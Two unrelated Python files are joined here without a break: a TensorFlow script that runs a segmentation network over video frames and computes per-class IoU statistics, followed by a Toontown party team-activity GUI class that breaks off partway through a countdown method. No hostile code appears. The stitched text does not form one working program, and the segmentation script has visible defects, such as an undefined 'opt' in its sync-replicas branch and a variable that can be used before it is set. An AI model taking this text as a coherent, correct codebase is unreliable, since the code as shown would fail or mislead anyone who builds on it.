from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import sys
import os
import glob

import numpy as np
import tensorflow as tf
import time
import cv2

from tensorflow.contrib import slim
from tensorflow.python.ops import control_flow_ops

sys.path.append(os.path.realpath('./src'))
sys.path.append(os.path.realpath('./datasets'))
import res_seg

from mask_rcnn_tfrecords import get_dataset, batch_segmentation_masks,\
                                visualize_masks
from mask_rcnn_stream import MaskRCNNMultiStream, MaskRCNNSequenceStream

sys.path.append('./models/research/slim/deployment')
import model_deploy as model_deploy

tf.app.flags.DEFINE_string(
    'master', '', 'The address of the TensorFlow master to use.')

tf.app.flags.DEFINE_string(
    'train_dir', '/tmp/tfmodel/',
    'Directory where checkpoints and event logs are written to.')

tf.app.flags.DEFINE_integer('num_clones', 1,
                            'Number of model clones to deploy.')

tf.app.flags.DEFINE_boolean('clone_on_cpu', False,
                            'Use CPUs to deploy clones.')

tf.app.flags.DEFINE_integer('worker_replicas', 1, 'Number of worker replicas.')

tf.app.flags.DEFINE_integer(
    'num_ps_tasks', 0,
    'The number of parameter servers. If the value is 0, then the parameters '
    'are handled locally by the worker.')

tf.app.flags.DEFINE_integer(
    'log_every_n_steps', 10,
    'The frequency with which logs are print.')

tf.app.flags.DEFINE_integer(
    'save_summaries_secs', 120,
    'The frequency with which summaries are saved, in seconds.')

tf.app.flags.DEFINE_integer(
    'save_interval_secs', 300,
    'The frequency with which the model is saved, in seconds.')

tf.app.flags.DEFINE_integer('startup_delay_steps', 15,
                            'Number of training steps between replicas startup.')

tf.app.flags.DEFINE_integer(
    'task', 0, 'Task id of the replica running the training.')

######################
# Optimization Flags #
######################

tf.app.flags.DEFINE_float(
    'weight_decay', 0.00004, 'The weight decay on the model weights.')

tf.app.flags.DEFINE_string(
    'optimizer', 'momentum',
    'The name of the optimizer, one of "adadelta", "adagrad", "adam",'
    '"ftrl", "momentum", "sgd" or "rmsprop".')

tf.app.flags.DEFINE_float(
    'adadelta_rho', 0.95,
    'The decay rate for adadelta.')

tf.app.flags.DEFINE_float(
    'adagrad_initial_accumulator_value', 0.1,
    'Starting value for the AdaGrad accumulators.')

tf.app.flags.DEFINE_float(
    'adam_beta1', 0.9,
    'The exponential decay rate for the 1st moment estimates.')

tf.app.flags.DEFINE_float(
    'adam_beta2', 0.999,
    'The exponential decay rate for the 2nd moment estimates.')

tf.app.flags.DEFINE_float('opt_epsilon', 1.0, 'Epsilon term for the optimizer.')

tf.app.flags.DEFINE_float('ftrl_learning_rate_power', -0.5,
                          'The learning rate power.')

tf.app.flags.DEFINE_float(
    'ftrl_initial_accumulator_value', 0.1,
    'Starting value for the FTRL accumulators.')

tf.app.flags.DEFINE_float(
    'ftrl_l1', 0.0, 'The FTRL l1 regularization strength.')

tf.app.flags.DEFINE_float(
    'ftrl_l2', 0.0, 'The FTRL l2 regularization strength.')

tf.app.flags.DEFINE_float(
    'momentum', 0.9,
    'The momentum for the MomentumOptimizer and RMSPropOptimizer.')

tf.app.flags.DEFINE_float('rmsprop_decay', 0.9, 'Decay term for RMSProp.')

#######################
# Learning Rate Flags #
#######################

tf.app.flags.DEFINE_string(
    'learning_rate_decay_type',
    'exponential',
    'Specifies how the learning rate is decayed. One of "fixed", "exponential",'
    ' or "polynomial"')

tf.app.flags.DEFINE_float('learning_rate', 0.005, 'Initial learning rate.')

tf.app.flags.DEFINE_float(
    'end_learning_rate', 0.00001,
    'The minimal end learning rate used by a polynomial decay learning rate.')

tf.app.flags.DEFINE_float(
    'label_smoothing', 0.1, 'The amount of label smoothing.')

tf.app.flags.DEFINE_float(
    'learning_rate_decay_factor', 0.1, 'Learning rate decay factor.')

tf.app.flags.DEFINE_float(
    'num_epochs_per_decay', 10.0,
    'Number of epochs after which learning rate decays.')

tf.app.flags.DEFINE_bool(
    'sync_replicas', False,
    'Whether or not to synchronize the replicas during training.')

tf.app.flags.DEFINE_integer(
    'replicas_to_aggregate', 1,
    'The Number of gradients to collect before updating params.')

tf.app.flags.DEFINE_float(
    'moving_average_decay', 0.9999,
    'The decay to use for the moving average.'
    'If left as None, then moving averages are not used.')

#######################
# Dataset Flags #
#######################

tf.app.flags.DEFINE_string(
    'train_data_path', None, 'Directory containing training data.')

tf.app.flags.DEFINE_string(
    'train_segments', None, 'Sequence of segments for training.')

tf.app.flags.DEFINE_integer(
    'height', 720, 'The number of samples in each batch.')

tf.app.flags.DEFINE_integer(
    'width', 1280, 'The number of samples in each batch.')

tf.app.flags.DEFINE_integer(
    'batch_size', 4, 'The number of samples in each batch.')

tf.app.flags.DEFINE_integer('max_frames', 100000,
                            'The maximum number of training steps.')

tf.app.flags.DEFINE_integer('num_samples_per_epoch', 4000,
                            'Number of samples per epoch.')

tf.app.flags.DEFINE_string(
    'detections_prefix', None, 'Path to video file.')

#####################
# Fine-Tuning Flags #
#####################

tf.app.flags.DEFINE_string(
    'checkpoint_path', None,
    'The path to a checkpoint from which to fine-tune.')

tf.app.flags.DEFINE_string(
    'checkpoint_exclude_scopes', None,
    'Comma-separated list of scopes of variables to exclude when restoring '
    'from a checkpoint.')

tf.app.flags.DEFINE_string(
    'trainable_scopes', None,
    'Comma-separated list of scopes to filter the set of variables to train.'
    'By default, None would train all the variables.')

tf.app.flags.DEFINE_boolean(
    'ignore_missing_vars', False,
    'When restoring a checkpoint would ignore missing variables.')

tf.app.flags.DEFINE_boolean(
    'use_seperable_convolution', False,
    'Use a seperable convolution block.')

tf.app.flags.DEFINE_float(
    'filter_depth_multiplier', 1.0,
    'Filter depth multipler for encoder.')

tf.app.flags.DEFINE_integer(
    'num_units', 1,
    'Number of units in each ressep block.')

tf.app.flags.DEFINE_integer(
    'num_pretrained_classes', 133,
    'Number of classes in the pretrained network.')

tf.app.flags.DEFINE_float(
    'scale', 1.0, 'Input scale factor')

tf.app.flags.DEFINE_integer(
    'foreground_weight', 10,
    'Weights for foreground objects.')

tf.app.flags.DEFINE_integer(
    'background_weight', 10,
    'Weights for background objects.')

tf.app.flags.DEFINE_boolean(
    'use_batch_norm', True,
    'Use batch normalization.')

tf.app.flags.DEFINE_boolean(
    'only_train_bnorm', False,
    'Only train the batch norm layers.')

tf.app.flags.DEFINE_boolean(
    'fine_classes', False,
    'Only train the batch norm layers.')

tf.app.flags.DEFINE_integer(
    'inference_stride', 10,
    'Stride at which inference is done.')

tf.app.flags.DEFINE_boolean(
    'no_summary', True,
    'Do not compute or write summaries.')

tf.app.flags.DEFINE_string(
    'stats_path', '',
    'If set, will output stats to stats_path')

tf.app.flags.DEFINE_string('video_out_path',
        None, 'Path to output video file.')

FLAGS = tf.app.flags.FLAGS

def _configure_optimizer(learning_rate):
    """Configures the optimizer used for training.

    Args:
        learning_rate: A scalar or `Tensor` learning rate.

    Returns:
        An instance of an optimizer.

    Raises:
        ValueError: if FLAGS.optimizer is not recognized.
    """
    if FLAGS.optimizer == 'adadelta':
        optimizer = tf.train.AdadeltaOptimizer(
            learning_rate,
            rho=FLAGS.adadelta_rho,
            epsilon=FLAGS.opt_epsilon)
    elif FLAGS.optimizer == 'adagrad':
        optimizer = tf.train.AdagradOptimizer(
            learning_rate,
            initial_accumulator_value=FLAGS.adagrad_initial_accumulator_value)
    elif FLAGS.optimizer == 'adam':
        optimizer = tf.train.AdamOptimizer(
            learning_rate,
            beta1=FLAGS.adam_beta1,
            beta2=FLAGS.adam_beta2,
            epsilon=FLAGS.opt_epsilon)
    elif FLAGS.optimizer == 'ftrl':
        optimizer = tf.train.FtrlOptimizer(
            learning_rate,
            learning_rate_power=FLAGS.ftrl_learning_rate_power,
            initial_accumulator_value=FLAGS.ftrl_initial_accumulator_value,
            l1_regularization_strength=FLAGS.ftrl_l1,
            l2_regularization_strength=FLAGS.ftrl_l2)
    elif FLAGS.optimizer == 'momentum':
        optimizer = tf.train.MomentumOptimizer(
            learning_rate,
            momentum=FLAGS.momentum,
            name='Momentum')
    elif FLAGS.optimizer == 'rmsprop':
        optimizer = tf.train.RMSPropOptimizer(
            learning_rate,
            decay=FLAGS.rmsprop_decay,
            momentum=FLAGS.momentum,
            epsilon=FLAGS.opt_epsilon)
    elif FLAGS.optimizer == 'sgd':
        optimizer = tf.train.GradientDescentOptimizer(learning_rate)
    else:
        raise ValueError('Optimizer [%s] was not recognized', FLAGS.optimizer)
    return optimizer

def _get_init_fn():
    """Returns a function run by the chief worker to warm-start the training.

    Note that the init_fn is only run when initializing the model during the very
    first global step.

    Returns:
        An init function run by the supervisor.
    """
    if FLAGS.checkpoint_path is None:
        return None

    # Warn the user if a checkpoint exists in the train_dir. Then we'll be
    # ignoring the checkpoint anyway.
    if tf.train.latest_checkpoint(FLAGS.train_dir):
        tf.logging.info(
            'Ignoring --checkpoint_path because a checkpoint already exists in %s'
            % FLAGS.train_dir)
        return None

    exclusions = []
    if FLAGS.checkpoint_exclude_scopes:
        exclusions = [scope.strip()
                     for scope in FLAGS.checkpoint_exclude_scopes.split(',')]

    # TODO(sguada) variables.filter_variables()
    variables_to_restore = []
    for var in slim.get_model_variables():
        excluded = False
        for exclusion in exclusions:
            if var.op.name.startswith(exclusion):
                excluded = True
                break
        if not excluded:
            variables_to_restore.append(var)

    if tf.gfile.IsDirectory(FLAGS.checkpoint_path):
        checkpoint_path = tf.train.latest_checkpoint(FLAGS.checkpoint_path)
    else:
        checkpoint_path = FLAGS.checkpoint_path

    tf.logging.info('Fine-tuning from %s' % checkpoint_path)

    return slim.assign_from_checkpoint_fn(
        checkpoint_path,
        variables_to_restore,
        ignore_missing_vars=FLAGS.ignore_missing_vars)

def _get_variables_to_train():
    """Returns a list of variables to train.

    Returns:
        A list of variables to train by the optimizer.
    """
    if FLAGS.trainable_scopes is None:
        return tf.trainable_variables()
    else:
        scopes = [scope.strip() for scope in FLAGS.trainable_scopes.split(',')]

    variables_to_train = []
    for scope in scopes:
        variables = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope)
        variables_to_train.extend(variables)
    return variables_to_train

def resseg_model(input, height, width, scale, weight_decay,
                 use_seperable_convolution, num_classes,
                 filter_depth_multiplier=1, num_units=1,
                 is_training=True, use_batch_norm=True):
    with slim.arg_scope(res_seg.ressep_arg_scope(weight_decay=weight_decay,
                                                       use_batch_norm=use_batch_norm)):
        net, end_points = res_seg.ressep_factory(
                                input,
                                use_seperable_convolution = use_seperable_convolution,
                                filter_depth_multiplier = filter_depth_multiplier,
                                is_training = is_training,
                                use_batch_norm = use_batch_norm,
                                num_units = num_units,
                                num_classes = num_classes,
                                scale = scale)

        return net, end_points

def get_class_groups():
    people_cls = [1]
    twowheeler_cls = [2, 4]
    vehicle_cls = [3, 6, 7, 8]

    #(40, 'bottle')
    #(41, 'wine glass')
    #(42, 'cup')
    #(43, 'fork')
    #(44, 'knife')
    #(45, 'spoon')
    #(46, 'bowl')

    utensils_cls = [40, 41, 42, 43, 44, 45, 46]

    #(14, 'bench')
    #(57, 'chair')
    #(58, 'couch')
    #(61, 'dining table')
    furniture_cls = [14, 57, 58, 61]

    cocostuff2simple = {}

    for i in range(81):
        cocostuff2simple[i] = 0

    if FLAGS.fine_classes:
        cls = [1, 2, 4, 10, 40, 42, 46, 57, 61]
        class_groups = [[x] for x in cls]
        class_groups.append([3, 6, 8])

        cocostuff2simple[1] = 1
        cocostuff2simple[2] = 2
        cocostuff2simple[4] = 3
        cocostuff2simple[10] = 4

        cocostuff2simple[3] = 10
        cocostuff2simple[6] = 10
        cocostuff2simple[8] = 10

    else:
        class_groups = [people_cls, twowheeler_cls, vehicle_cls, utensils_cls, furniture_cls]

        cocostuff2simple[1] = 1
        cocostuff2simple[2] = 2
        cocostuff2simple[3] = 3
        cocostuff2simple[4] = 2
        cocostuff2simple[6] = 3
        cocostuff2simple[7] = 3
        cocostuff2simple[8] = 3

    return class_groups, cocostuff2simple

def update_stats(labels, pred_vals, class_tp, class_fp, class_fn,
                 class_total, class_correct, weight_mask, frame_stats,
                 entropy_vals, frame_id):
    eps = 1e-06
    num_classes = len(class_total)
    curr_tp = np.zeros(num_classes, np.float32)
    curr_fp = np.zeros(num_classes, np.float32)
    curr_fn = np.zeros(num_classes, np.float32)
    curr_iou = np.zeros(num_classes, np.float32)
    curr_correct = np.zeros(num_classes, np.float32)
    curr_total = np.zeros(num_classes, np.float32)
    correct_mask = (pred_vals == labels)

    for g in range(num_classes):
        cls_mask = np.logical_and((labels == g), weight_mask)
        cls_tp_mask = np.logical_and(cls_mask, correct_mask)
        cls_tp = np.sum(cls_tp_mask)
        curr_tp[g] = cls_tp
        class_tp[g] = class_tp[g] + cls_tp

        cls_total = np.sum(cls_mask)
        curr_total[g] = cls_total
        curr_correct[g] = cls_tp
        class_total[g] = class_total[g] + cls_total
        class_correct[g] = class_correct[g] + cls_tp

        pred_mask = np.logical_and((pred_vals == g), weight_mask)
        cls_fp_mask = np.logical_and(np.logical_not(cls_mask), pred_mask)
        cls_fn_mask = np.logical_and(cls_mask, np.logical_not(pred_mask))

        cls_fp = np.sum(cls_fp_mask)
        cls_fn = np.sum(cls_fn_mask)
        curr_fp[g] = cls_fp
        curr_fn[g] = cls_fn
        class_fp[g] = class_fp[g] + cls_fp
        class_fn[g] = class_fn[g] + cls_fn

        cls_iou = (cls_tp + eps) / (cls_tp + cls_fp + cls_fn + eps)
        curr_iou[g] = cls_iou

    frame_stats[frame_id] = { 'tp': curr_tp,
                              'fp': curr_fp,
                              'fn': curr_fn,
                              'iou': curr_iou,
                              'correct': curr_correct,
                              'total': curr_total,
                              'average_entropy': entropy_vals}

def main(_):
  tf.logging.set_verbosity(tf.logging.INFO)
  with tf.Graph().as_default():
    #######################
    # Config model_deploy #
    #######################
    deploy_config = model_deploy.DeploymentConfig(
        num_clones=FLAGS.num_clones,
        clone_on_cpu=FLAGS.clone_on_cpu,
        replica_id=FLAGS.task,
        num_replicas=FLAGS.worker_replicas,
        num_ps_tasks=FLAGS.num_ps_tasks)

    # Create global_step
    with tf.device(deploy_config.variables_device()):
        global_step = slim.create_global_step()

    class_groups, cocostuff2simple = get_class_groups()

    with tf.device(deploy_config.inputs_device()):
        video_files = []
        detections_paths = []
        segments = FLAGS.train_segments.split(',')
        for s in segments:
            video_files.append(os.path.join(FLAGS.train_data_path, s))
        segment_names = [ s.split('/')[-1].split('.')[0] for s in video_files ]
        for s in segment_names:
            detections_paths.append(os.path.join(FLAGS.train_data_path,
                                    FLAGS.detections_prefix + '_' + s + '.npy'))

        batch_image = tf.placeholder(tf.float32, (FLAGS.batch_size,
                                                  FLAGS.height,
                                                  FLAGS.width, 3))
        labels = tf.placeholder(tf.int32, (FLAGS.batch_size,
                                           FLAGS.height,
                                           FLAGS.width))

        label_weights_in =  tf.placeholder(tf.int32, (FLAGS.batch_size,
                                           FLAGS.height,
                                           FLAGS.width))

        low_weights = tf.constant(FLAGS.background_weight,
                                  dtype=tf.int32, shape=labels.shape)
        high_weights = tf.constant(FLAGS.foreground_weight,
                                   dtype=tf.int32, shape=labels.shape)
        label_weights = tf.where(label_weights_in > 0,
                                 high_weights, low_weights)

    def clone_fn(batch_image, labels, label_weights):

        labels = tf.cast(labels, tf.int32)
        labels.set_shape([FLAGS.batch_size, FLAGS.height, FLAGS.width])

        batch_image.set_shape([1, FLAGS.height, FLAGS.width, 3])

        num_classes = len(class_groups) + 1

        logits, end_points = resseg_model(batch_image, FLAGS.height,
                                          FLAGS.width, FLAGS.scale, FLAGS.weight_decay,
                                          FLAGS.use_seperable_convolution,
                                          FLAGS.num_pretrained_classes,
                                          is_training=True,
                                          use_batch_norm=FLAGS.use_batch_norm,
                                          num_units=FLAGS.num_units,
                                          filter_depth_multiplier=FLAGS.filter_depth_multiplier)

        entropy = tf.reduce_mean(-tf.nn.log_softmax(logits) *
                                tf.nn.softmax(logits))

        # Specify loss
        cross_entropy = tf.losses.sparse_softmax_cross_entropy(labels,
                                                               logits,
                                                               weights=label_weights,
                                                               scope='xentropy')
        tf.losses.add_loss(cross_entropy)

        return end_points, labels, label_weights, logits, entropy

    # Gather initial summaries.
    summaries = set(tf.get_collection(tf.GraphKeys.SUMMARIES))

    clones = model_deploy.create_clones(deploy_config, clone_fn, [batch_image, labels, label_weights])
    first_clone_scope = deploy_config.clone_scope(0)
    # Gather update_ops from the first clone. These contain, for example,
    # the updates for the batch_norm variables created by network_fn.
    update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS, first_clone_scope)

    #################################
    # Configure the moving averages #
    #################################
    if FLAGS.moving_average_decay:
        moving_average_variables = slim.get_model_variables()
        variable_averages = tf.train.ExponentialMovingAverage(
              FLAGS.moving_average_decay, global_step)
    else:
        moving_average_variables, variable_averages = None, None

    #########################################
    # Configure the optimization procedure. #
    #########################################
    with tf.device(deploy_config.optimizer_device()):
        num_training_records = FLAGS.num_samples_per_epoch
        learning_rate = FLAGS.learning_rate
        optimizer = _configure_optimizer(learning_rate)
        summaries.add(tf.summary.scalar('learning_rate', learning_rate))

    if FLAGS.sync_replicas:
        # If sync_replicas is enabled, the averaging will be done in the chief
        # queue runner.
        optimizer = tf.train.SyncReplicasOptimizer(
          opt=optimizer,
          replicas_to_aggregate=FLAGS.replicas_to_aggregate,
          variable_averages=variable_averages,
          variables_to_average=moving_average_variables,
          replica_id=tf.constant(FLAGS.task, tf.int32, shape=()),
          total_num_replicas=FLAGS.worker_replicas)
    elif FLAGS.moving_average_decay:
        # Update ops executed locally by trainer.
        update_ops.append(variable_averages.apply(moving_average_variables))

    end_points, labels_tensor, label_weights_tensor, \
            logits_tensor, entropy = clones[0].outputs

    predictions = tf.argmax(logits_tensor, axis=3)
    probs = tf.reduce_max(tf.nn.softmax(logits_tensor), axis=3)
    prediction_mask = probs > 0.75
    predictions = predictions * tf.cast(prediction_mask, tf.int64)

    lmap_size = 256
    lmap = np.array([0]* lmap_size)
    for k, v in cocostuff2simple.iteritems():
        lmap[k] = v

    lmap = tf.constant(lmap, tf.uint8)
    predictions = tf.cast(predictions, tf.int32)
    predictions = tf.gather(lmap, predictions)

    # Add accuracy summaries
    correct_preds = tf.equal(tf.cast(predictions, tf.int32), labels_tensor)
    total_preds = tf.reduce_sum(tf.cast(labels_tensor >=0, tf.float32))
    batch_accuracy = tf.reduce_sum(tf.cast(correct_preds, tf.float32)) / total_preds

    acc_collection = tf.get_collection('Accuracy')
    iou_collection = tf.get_collection('IOU')

    summaries.add(tf.summary.scalar('Accuracy', batch_accuracy, collections = acc_collection))

    eps = 1e-06
    class_tps = []
    class_fps = []
    class_fns = []
    for cls in range(len(class_groups) + 1):
        cls_mask = tf.equal(labels_tensor, cls)
        cls_correct = tf.reduce_sum(
                tf.cast(tf.logical_and(cls_mask, correct_preds), tf.float32))
        cls_total = tf.reduce_sum(tf.cast(cls_mask, tf.float32))
        cls_accuracy = cls_correct / tf.add(cls_total, eps)

        pred_mask = tf.equal(predictions, cls)
        pred_not_mask = tf.not_equal(predictions, cls)
        label_mask = tf.equal(labels, cls)
        label_not_mask = tf.not_equal(labels, cls)
        cls_tp = cls_correct
        cls_fp = tf.reduce_sum(tf.cast(tf.logical_and(pred_mask, label_not_mask), tf.float32))
        cls_fn = tf.reduce_sum(tf.cast(tf.logical_and(pred_not_mask, label_mask), tf.float32))

        class_tps.append(tf.expand_dims(cls_tp, axis=0))
        class_fps.append(tf.expand_dims(cls_fp, axis=0))
        class_fns.append(tf.expand_dims(cls_fn, axis=0))

        cls_iou = cls_tp / tf.add(cls_tp + cls_fp + cls_fn, eps)
        summaries.add(tf.summary.scalar('Accuracy_cls_%d'%(cls), cls_accuracy, collections=acc_collection))
        summaries.add(tf.summary.scalar('IOU_cls_%d'%(cls), cls_iou, collections=iou_collection))

    #all_class_tp = tf.concat(class_tps, axis=0)
    #all_class_fp = tf.concat(class_fps, axis=0)
    #all_class_fn = tf.concat(class_fns, axis=0)

    num_classes = len(class_groups) + 1
    labels_vis = tf.py_func(visualize_masks, [labels_tensor, FLAGS.batch_size,
                                        (FLAGS.height, FLAGS.width, 3), num_classes],
                                        tf.uint8)
    pred_vis = tf.py_func(visualize_masks, [predictions, FLAGS.batch_size,
                                        (FLAGS.height, FLAGS.width, 3), num_classes],
                                        tf.uint8)

    label_weights_tensor = tf.cast(label_weights_tensor, tf.float32)
    min_weight = tf.reduce_min(label_weights_tensor)
    max_weight = tf.reduce_max(label_weights_tensor)
    scale_weights = (tf.add(label_weights_tensor, eps) - min_weight)/(tf.add(max_weight, eps) - min_weight)

    labels_vis = 0.5 * tf.cast(batch_image, tf.float32) + 0.5 * tf.cast(labels_vis, tf.float32)
    pred_vis = 0.5 * tf.cast(batch_image, tf.float32) + 0.5 * tf.cast(pred_vis, tf.float32)

    label_weights_vis = tf.cast(batch_image, tf.float32) * tf.expand_dims(scale_weights, axis=3)

    def rearrage_channels(img):
        img.set_shape([FLAGS.batch_size, FLAGS.height, FLAGS.width, 3])
        channels = tf.unstack(img, axis=-1)
        img = tf.stack([channels[2], channels[1], channels[0]], axis=-1)
        return img

    labels_vis = tf.cast(labels_vis, tf.uint8)
    pred_vis = tf.cast(pred_vis, tf.uint8)
    label_weights_vis = tf.cast(label_weights_vis, tf.uint8)

    labels_vis = rearrage_channels(labels_vis)
    pred_vis = rearrage_channels(pred_vis)
    label_weights_vis = rearrage_channels(label_weights_vis)

    summary_img = tf.concat([labels_vis, pred_vis, label_weights_vis], axis=1)

    tf.summary.image('summary_image', summary_img, max_outputs=4)

    # Variables to train.
    variables_to_train = _get_variables_to_train()

    if FLAGS.only_train_bnorm:
        variables_to_train = tf.contrib.framework.filter_variables(variables_to_train,
                                                                   include_patterns=['BatchNorm', 'logits'])

    #  and returns a train_tensor and summary_op
    total_loss, clones_gradients = model_deploy.optimize_clones(clones,
                                                    optimizer,
                                                    var_list=variables_to_train)
    # Add total_loss to summary.
    summaries.add(tf.summary.scalar('total_loss', total_loss))

    # Create gradient updates.
    grad_updates = optimizer.apply_gradients(clones_gradients,
                                             global_step=global_step)
    update_ops.append(grad_updates)

    update_op = tf.group(*update_ops)
    train_tensor = control_flow_ops.with_dependencies([update_op], total_loss,
                                                      name='train_op')

    # Add the summaries from the first clone. These contain the summaries
    # created by model_fn and either optimize_clones() or _gather_clone_loss().
    summaries |= set(tf.get_collection(tf.GraphKeys.SUMMARIES,
                                       first_clone_scope))
    # Merge all summaries together.
    summary_op = tf.summary.merge(list(summaries), name='summary_op')

    # for stats training, reuse memory
    per_frame_stats = {}
    class_correct = np.zeros(num_classes, np.float32)
    class_total = np.zeros(num_classes, np.float32)

    class_tp = np.zeros(num_classes, np.float32)
    class_fp = np.zeros(num_classes, np.float32)
    class_fn = np.zeros(num_classes, np.float32)
    class_iou = np.zeros(num_classes, np.float32)

    stats_path = FLAGS.stats_path

    if FLAGS.sync_replicas:
        sync_optimizer = opt
        startup_delay_steps = 0
    else:
        sync_optimizer = None
        startup_delay_steps = FLAGS.task * FLAGS.startup_delay_steps

    ###########################
    # Kicks off the training. #
    ###########################
    #with tf.contrib.tfprof.ProfileContext(FLAGS.train_dir) as pctx:

    print(video_files, detections_paths)
    #input_streams = MaskRCNNMultiStream(video_files, detections_paths,
    #                                    start_frame=0, stride=FLAGS.inference_stride)
    input_streams = MaskRCNNSequenceStream(video_files, detections_paths,
                                           start_frame=0, stride=1)

    init_fn = _get_init_fn()

    saver = tf.train.Saver()

    vid_out = None
    if FLAGS.video_out_path:
        rate = input_streams.rate
        width = FLAGS.width
        height = FLAGS.height

        vid_out = cv2.VideoWriter(FLAGS.video_out_path,
                                  cv2.VideoWriter_fourcc(*'X264'),
                                  rate, (3*width, height))

    with tf.Session() as sess:
        sess.run(tf.global_variables_initializer())
        sess.run(tf.local_variables_initializer())

        if init_fn is not None:
            init_fn(sess)

        curr_frame = 0

        summary_writer = tf.summary.FileWriter(FLAGS.train_dir, sess.graph)

        zero_input = np.zeros((FLAGS.batch_size, FLAGS.height, FLAGS.width),
                                np.int32)
        inference_str = ""
        training_str = ""
        stats_str = ""
        for frame, boxes, classes, scores, masks, num_objects, frame_id in input_streams:
            if curr_frame > FLAGS.max_frames:
                break

            frame = cv2.resize(frame, (FLAGS.width, FLAGS.height))

            frame = np.expand_dims(frame, axis=0)
            boxes = np.expand_dims(boxes, axis=0)
            classes = np.expand_dims(classes, axis=0)
            scores = np.expand_dims(scores, axis=0)
            masks = np.expand_dims(masks, axis=0)
            num_objects = np.expand_dims(num_objects, axis=0)

            preds = None
            summary_str = ""
            if curr_frame % FLAGS.inference_stride == 0:
                start = time.time()
                step, preds, entropy_vals = sess.run([global_step, predictions, entropy],
                                    feed_dict={ batch_image: frame,
                                                labels: zero_input,
                                                label_weights_in: zero_input })
                end = time.time()
                inference_str = "inference: {0:.5f}s".format(end - start)
                # compute stats
                if stats_path:
                    start = time.time()
                    labels_vals, _ = batch_segmentation_masks(1,
                                                        (FLAGS.height, FLAGS.width),
                                                        boxes, classes, masks,
                                                        num_objects, True,
                                                        class_groups)

                    update_stats(labels_vals, preds, class_tp, class_fp, class_fn,
                                 class_total, class_correct,
                                 np.ones(labels_vals.shape, dtype=np.bool),
                                 per_frame_stats, entropy_vals, curr_frame)
                    end = time.time()
                    stats_str = "stats: {0:.5f}s".format(end - start)

                if vid_out:
                    vis_preds = visualize_masks(preds, 1, (preds.shape[1],
                                                           preds.shape[2],
                                                           3), num_classes=num_classes)
                    vis_labels = visualize_masks(labels_vals, 1, (labels_vals.shape[1],
                                                                  labels_vals.shape[2],
                                                                  3), num_classes=num_classes)

                    vis_preds = vis_preds[0]
                    vis_labels = vis_labels[0]
                    vis_frame = frame[0]

                    preds_image = cv2.addWeighted(vis_frame, 0.5, vis_preds, 0.5, 0)
                    labels_image = cv2.addWeighted(vis_frame, 0.5, vis_labels, 0.5, 0)

                    vis_image = np.concatenate((vis_frame, labels_image, preds_image), axis=1)

                    ret = vid_out.write(vis_image)

            frame_str = "frame: {0:05d}".format(curr_frame)
            print(" ".join([frame_str, training_str, inference_str, stats_str,
                            summary_str]), end="\r", file=sys.stderr)
            curr_frame = curr_frame + 1
        print(file=sys.stderr)
        summary_writer.close()

        #saver.save(sess, os.path.join(FLAGS.train_dir, 'online'), global_step=step)

        if stats_path:
            np.save(stats_path, [per_frame_stats])

if __name__ == '__main__':
  tf.app.run()


from panda3d.core import TextNode
from direct.gui.DirectButton import DirectButton
from direct.gui.OnscreenText import OnscreenText
from direct.task.Task import Task
from toontown.toonbase import ToontownGlobals
from toontown.toonbase import TTLocalizer
from toontown.parties import PartyUtils
from toontown.parties import PartyGlobals

class TeamActivityGui:
    COUNTDOWN_TASK_NAME = 'updateCountdownTask'
    timer = None
    statusText = None
    countdownText = None
    exitButton = None
    switchButton = None

    def __init__(self, activity):
        self.activity = activity

    def load(self):
        buttonModels = loader.loadModel('phase_3.5/models/gui/inventory_gui')
        upButton = buttonModels.find('**//InventoryButtonUp')
        downButton = buttonModels.find('**/InventoryButtonDown')
        rolloverButton = buttonModels.find('**/InventoryButtonRollover')
        self.exitButton = DirectButton(relief=None, text=TTLocalizer.PartyTeamActivityExitButton, text_fg=(1, 1, 0.65, 1), text_pos=(0, -0.15), text_scale=0.5, image=(upButton, downButton, rolloverButton), image_color=(1, 0, 0, 1), image_scale=(14.5, 1, 9), pos=(0, 0, 0.8), scale=0.15, command=self.handleExitButtonClick)
        self.exitButton.hide()
        if self.activity.toonsCanSwitchTeams():
            self.switchButton = DirectButton(relief=None, text=TTLocalizer.PartyTeamActivitySwitchTeamsButton, text_fg=(1, 1, 1, 1), text_pos=(0, 0.1), text_scale=0.5, image=(upButton, downButton, rolloverButton), image_color=(0, 1, 0, 1), image_scale=(15, 1, 15), pos=(0, 0, 0.5), scale=0.15, command=self.handleSwitchButtonClick)
            self.switchButton.hide()
        else:
            self.switchButton = None
        buttonModels.removeNode()
        self.countdownText = OnscreenText(text='', pos=(0.0, -0.2), scale=PartyGlobals.TeamActivityTextScale * 1.2, fg=(1.0, 1.0, 0.65, 1.0), align=TextNode.ACenter, font=ToontownGlobals.getSignFont(), mayChange=True)
        self.countdownText.hide()
        self.statusText = OnscreenText(text='', pos=(0.0, 0.0), scale=PartyGlobals.TeamActivityTextScale, fg=PartyGlobals.TeamActivityStatusColor, align=TextNode.ACenter, font=ToontownGlobals.getSignFont(), mayChange=True)
        self.statusText.hide()
        self.timer = PartyUtils.getNewToontownTimer()
        self.timer.hide()
        return

    def unload(self):
        self.hideWaitToStartCountdown()
        if self.exitButton is not None:
            self.exitButton.destroy()
            self.exitButton = None
        if self.switchButton is not None:
            self.switchButton.destroy()
            self.switchButton = None
        if self.countdownText is not None:
            self.countdownText.destroy()
            self.countdownText.removeNode()
            self.countdownText = None
        if self.statusText is not None:
            self.statusText.destroy()
            self.statusText.removeNode()
            self.statusText = None
        if self.timer is not None:
            self.timer.destroy()
            del self.timer
        return

    def showStatus(self, text):
        self.statusText.setText(text)
        self.statusText.show()

    def hideStatus(self):
        self.statusText.hide()

    def enableExitButton(self):
        self.exitButton.show()

    def disableExitButton(self):
        self.exitButton.hide()

    def handleExitButtonClick(self):
        self.disableExitButton()
        self.disableSwitchButton()
        self.activity.d_toonExitRequest()

    def enableSwitchButton(self):
        self.switchButton.show()

    def disableSwitchButton(self):
        if self.switchButton is not None:
            self.switchButton.hide()
        return

    def handleSwitchButtonClick(self):
        self.disableSwitchButton()
        self.disableExitButton()
        self.activity.d_toonSwitchTeamRequest()

    def showWaitToStartCountdown(self, duration, waitToStartTimestamp, almostDoneCallback = None):
        self._countdownAlmostDoneCallback = almostDoneCallback
        currentTime = globalClock.getRealTime()
        waitTimeElapsed = currentTime - waitToStartTimestamp
        if duration - waitTimeElapsed > 1.0:
            countdownTask = Task(self._updateCountdownTask)
            countdownTask.duration = duration - waitTimeElapsed
            self.countdownText.setText(str(int(countdownTask.duration)))
